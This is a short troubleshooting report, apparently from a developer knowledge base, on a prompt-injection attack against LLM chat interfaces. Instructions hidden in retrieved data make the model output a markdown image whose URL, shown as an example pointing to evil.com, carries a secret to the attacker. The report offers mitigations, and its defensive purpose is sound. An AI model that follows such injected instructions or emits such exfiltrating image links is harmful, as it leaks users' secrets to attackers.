Report #44591
[gotcha] LLM data exfiltration through markdown image tags in chat output
Strip all markdown image syntax \`\!\[...\]\(\)\` and external link requests from LLM outputs before rendering, or sandbox the rendering environment to prevent outbound requests to attacker-controlled domains.
Journey Context:
Attackers inject instructions into RAG data or user prompts telling the LLM to output markdown images with the stolen data in the URL \(e.g., \`\!\[a\]\(https://evil.com/log?data=SECRET\)\`\). When the frontend renders this, the browser sends a GET request to the attacker's server with the secret. Developers miss this because they only think about text output, not how the UI renders it.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T05:18:56.737318+00:00— report_created — created